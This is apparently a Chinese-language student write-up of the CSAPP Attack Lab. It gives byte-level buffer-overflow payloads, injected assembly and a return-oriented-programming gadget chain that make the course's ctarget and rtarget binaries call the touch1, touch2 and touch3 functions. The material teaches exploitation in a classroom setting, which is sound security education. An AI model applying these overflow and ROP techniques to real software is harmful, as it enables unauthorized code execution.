《深入理解计算机系统》Attack Lab实验解析

Attack lab

简介

这是CSAPP的第三个实验,跟Bomb lab有些类似,都需要你对X86-64汇编语言以及一套调试的方式有着足够的理解,所不同的是,这一次更注重于写汇编语言的代码,并且以Byte的格式注入到程序内,用来攻击程序,简单地说,这个实验就是模拟一个黑客所做的事情。

实验分为两个部分注入攻击和返回值攻击,前者的栈的地址是固定的,裸奔状态,后者每次栈内存起始地址都会发生变化,难度有所增加。与Bomb lab不同的是,这个实验如果攻击失败,不会扣分,可以放心地进行各种调试和实验的操作。

一些需要用到的操作

打开Attack lab的文件夹,我们可以发现里面主要有四个文件:

ctarget 用来进行代码注入攻击
rtarget 用来进行返回值攻击
cookie.txt 是一个唯一表示的字符串,可以理解为ID,主要是CMU用来防止学生作弊互相抄答案,里面很多需要攻击的函数,都要将这个作为参数传入
hex2raw 用来将64进制Byte码变成字符串,可用来传入到需要攻击的程序中

此外,根据handout的提示和我个人做这个lab的经验,以下一些命令可能会非常有用:

1
unix> ./hex2raw < ans.txt | ./ctarget -q

通过管道来将ans里的Byte码变成字符串传入需要攻击的程序中,-q是不发信息给服务器,自学用需要加上这个参数。

1
2
unix> gcc -c example.s
unix> objdump -d example.o > example.d

上面这段是可以用来现实x86-64汇编语言所对应的16位字节码
比如,example.s

1
2
3
4
5
6
7
; Example of hand-generated assembly code
pushq $0xabcdef
addq $17,%rax
movl %eax,%edx
; Push value onto stack
; Add 17 to %rax
; Copy lower 32 bits to %edx

对应的example.d则是:

1
2
3
4
5
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00, pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx

Part1 Code Injection Attacks

简介

这是lab的第一部分,代码注入攻击,ctarget是我们要攻击的程序,题目告诉我们ctarget里有一个叫做test的函数

1
2
3
4
5
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

根据题目的意思这个函数应该是每次都会调用的,然后这个函数会调用一个不安全的getbuf函数,有点类似于get,不检查读入的字符串的大小,也不加以任何保护,使得我们利用getbuf,可以对其进行代码注入达到攻击的效果, 具体原理可以参见CSAPP第三版3-10,心中要有下图,原理方能熟稔于心:

Phase 1

第一关要求我们让test不返回,而是getbuf后直接运行一个叫做touch1的函数,其C语言代码如下:

1
2
3
4
5
6
void touch1() {
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

看得出来,就是一个直接运行的函数,没有参数,显然我们只需要把它的地址注入到运行栈,将原先的返回地址覆盖掉即可,将touch1用gdb反汇编,我们得出touch1的入口地址为:
0x4017c0,反汇编getbuf,得到如下代码:

1
2
3
4
5
6
0x00000000004017a8 <+0>:	sub    $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq

注意到rsp,一上来减去40个字节,说明栈getbuf分配的栈深为40字节,我们就填充40个字节的字符,最后再加上touch1的入口地址即可,所以我们可以得出所需要传入的Byte码如下:

1
2
3
4
5
ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef
c0 17 40

根据题目要求,字节序反过来,比如要表示40 17 c0则应该传入c0 17 40。
将这段字符Byte输入,则可以完成第一关的攻击。

Phase 2

第二关稍微复杂一些,要求运行touch2,其C语言代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val){
vlevel = 2;
if(val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n",val);
validate(2);
}
else{
printf("Misfire!: You called touch2(0x%.8x)\n",val);
fail(2);
}
exit(0);
}

与touch1不同的是touch2需要我们给他传一个参数,也就是我们的cookie,自学版cookie值是0x59b997fa,也就是说我们需要先把参数%rdi的数值设置为0x59b997fa,再调用touch2。

根据handout里的提示,直接利用jmp或者callq来调用函数比较麻烦,推荐我们用retq,这次我们需要将代码也注入到栈里,以下就是我们需要注入的代码

1
2
3
pushq $0x4017ec ;touch2的地址,存入栈口
movq $0x59b997fa,%rdi ; 将cookie放入rdi,当做第一个参数传入
retq ;返回

这一段我们直接让getbuf读入,放入栈中,当然我们还需要首先让getbuf读取完后不返回test,而是直接返回到这段代码,也就是原来栈的入口,给getbuf设置下断点,得出栈,也就是注入的代码的位置,0x5561dc78,将最后返回的位置用该位置覆盖即可,答案如下:

1
2
3
4
5
6
7
68 ec 17 40 00
48 c7 c7 fa 97 b9 59
c3
ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef
78 dc 61 55

Phase 3

让getbuf完了后运行touch3,touch3代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

这个稍微麻烦点儿,touch3要求传入字符串,字符串为cookie以字符串的形式表示,前面的”0x“舍去。

我们发现touch3调用了hexmatch函数,而该函数一上来就申请了个110byte大小的空间,说明我们之前的空间会被覆盖掉,为了保证字符串存在的位置不会被覆盖,我们最好将cookie字符串存在test的栈区中,其他部分跟level2差不多,

1
2
3
pushq $0x4018fa ;touch3的位置
lea 0x8(%rsp),%rdi ; 存放字符串的头指针
retq

利用gcc得出以上汇编语言的字节码,答案如下:

1
2
3
4
5
6
7
8
9
10
68 fa 18 40 00
48 8d 7c 24 08
c3 ef ef ef ef
ef ef ef ef ef
ef ef ef ef ef
ef ef ef ef ef
ef ef ef ef ef
ef ef ef ef ef
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00

因为64位字节码一次读取8个byte,所以我们应当将注入的地址(也就是栈的初始地址)后面用00进行padding,否则会报错,后面那一长串35 - 00就是对应的”5561dc78“的字节码,00表示字符串结束,很容易忘掉。

Return Oriented Programming

简介

这一部分是攻击rtarget这个文件,有level2和level3两个部分,分别是重复前面phase2和phase3的攻击效果,所不同的是rtarget有一些保护措施,例如栈地址随机化和部分栈内容是只读的,因此像ctarget一样直接注入代码是没有用的,对于这种保护措施,我们依然有方法去进行攻击,这个就是Return Oriented Programming

这种攻击方式的原理是,程序的汇编语言代码中,会出现我们需要的代码片段,并且以0xc3,也就是返回为终止,这种代码片段叫做gadget,合理利用gadget,我们就能实现return oriented programming这种攻击模式。

举个例子

1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}

上述这段代码,是将一个unsigned指针的值改变成一个很奇怪的数字,这个代码段乍看之下没啥用,不过如果我们观察它的汇编语言代码:

1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

我们发现第一行是48 89 c7,这个在x86-64汇编语言中代表了movq %rax, %rdi这条语句,并且以c3也就是retq为结束,即如果我们能够让程序从400f18开始运行,则相当于运行了movq %rax, %rdi,并且返回。

而这样的片段就叫做gadget,我们如果将栈上精心放一些gadget的地址,如下图这样:

就可以让程序运行一些我们所期望它运行的代码片段,从而可以绕过随机化栈地址和只读栈地址这种保护策略。

本题中有一个这样的代码仓库,叫做farm,题目要求我们利用farm里的gadget重新完成一遍phase2和phase3的攻击,也就是Phase4和Phase5。

Phase 4

利用gadget实现phase2的攻击,也就是运行touch2,题目有一个提示,我们只需要用到start_farm和mid_farm中间的gadget就可以了。

根据我们之前做Phase2的经验,我们需要将%rdi里的值设置为cookie,题目给我们提供了几张表用来帮助我们分别出需要可能会用到的Byte:

结合这个表观察farm,我们发现下面这段汇编有跟%rdi有关的命令

1
2
4019a0: 8d 87 48 89 c7 c3     lea -0x3c3876b8(%rdi), %eax
4019a6: c3 retq

其中48 89 c7 c3就是movq %rax, %rdi
不过我们还需要将coookie放到%rax里,这里我们可以用popq %rax的方法,从栈中把cookie读入到%rax中,所以我们所需要的语句其实是:

1
2
popq %rax
movq %rax, %rdi

在farm中我们能找到这样一行:

1
2
4019a7: 8d 87 51 73 58 90     lea -0x6fa78caf(%rdi), %eax
4019ad: c3 retq

其中58是popq %rax,而90则相当于是空行,pass的意思,有了这两个我们就很容易地构造出所需要传入的字符串了:

1
2
3
4
5
6
7
8
ef ef ef ef ef ef ef ef ef ef 
ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef
ab 19 40 00 00 00 00 00 ;popq %rax
fa 97 b9 59 00 00 00 00 ;cookie
a3 19 40 00 00 00 00 00 ;movq %rax, %rdi
ec 17 40 00 00 00 00 00 ;touch2

Phase 5

Phase 5是利用start_farm到end_farm之间的gadget实现Phase 3的攻击,handout推荐这部分作为附加部分,暂时我就先不做了,原理上是一致的,不过要看的代码段多了一点儿,根据作业提示,8个gadgets就可以搞定,有兴趣可以自己尝试下,作为挑战。

总结

两种基本的攻击手法,code injection 和 return oriented programming,很有趣的实验,可以过把黑客的瘾,同时也能让学生对于栈和栈内存泄漏的bug有更加清晰的认识,相信如果认真做完这个lab,定能深刻领会到缓冲区溢出的危害和get这个命令的不安全性,在国内读书的时候,get只是在书上草草带过,说最好不要用,没有具体的告诉我们原理,这个lab可以当做计算机安全的一个入门。